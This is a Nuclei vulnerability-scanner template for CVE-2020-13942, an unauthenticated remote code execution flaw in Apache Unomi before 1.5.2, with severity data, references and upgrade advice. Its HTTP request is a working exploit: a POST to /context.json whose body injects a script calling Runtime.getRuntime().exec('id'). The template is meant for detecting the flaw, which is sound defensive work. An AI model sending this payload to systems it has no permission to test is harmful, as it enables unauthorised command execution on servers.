CVE-2020-13942: Apache Unomi <1.5.2 - Remote Code Execution

id: CVE-2020-13942

info:
  name: Apache Unomi <1.5.2 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    Apache Unomi allows conditions to use OGNL and MVEL scripting which
    offers the possibility to call static Java classes from the JDK
    that could execute code with the permission level of the running Java process.
    This vulnerability affects all versions of Apache Unomi prior to 1.5.2.
  impact: |
    Successful exploitation of this vulnerability can allow an attacker to execute arbitrary code on the affected server.
  remediation: Apache Unomi users should upgrade to 1.5.2 or later.
  reference:
    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
    - https://twitter.com/chybeta/status/1328912309440311297
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13942
    - http://unomi.apache.org./security/cve-2020-13942.txt
    - https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13942
    cwe-id: CWE-74,CWE-20
    epss-score: 0.93797
    epss-percentile: 0.99855
    cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: unomi
  tags: cve,cve2020,apache,rce
variables:
  id: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/context.json"

    body: |
      {
        "filters": [
          {
            "id": "{{id}}",
            "filters": [
              {
                "condition": {
                  "parameterValues": {
                    "nuclei": "script::Runtime.getRuntime().exec('id')"
                  },
                  "type": "profilePropertyCondition"
                }
              }
            ]
          }
        ],
        "sessionId": "nuclei"
      }

    headers:
      Content-Type: "application/json"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"
          - "context-profile-id"
        condition: and

      - type: regex
        part: body
        regex:
          - "(profile|session)(Id|Properties|Segments)"
          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
        condition: and

      - type: status
        status:
          - 200
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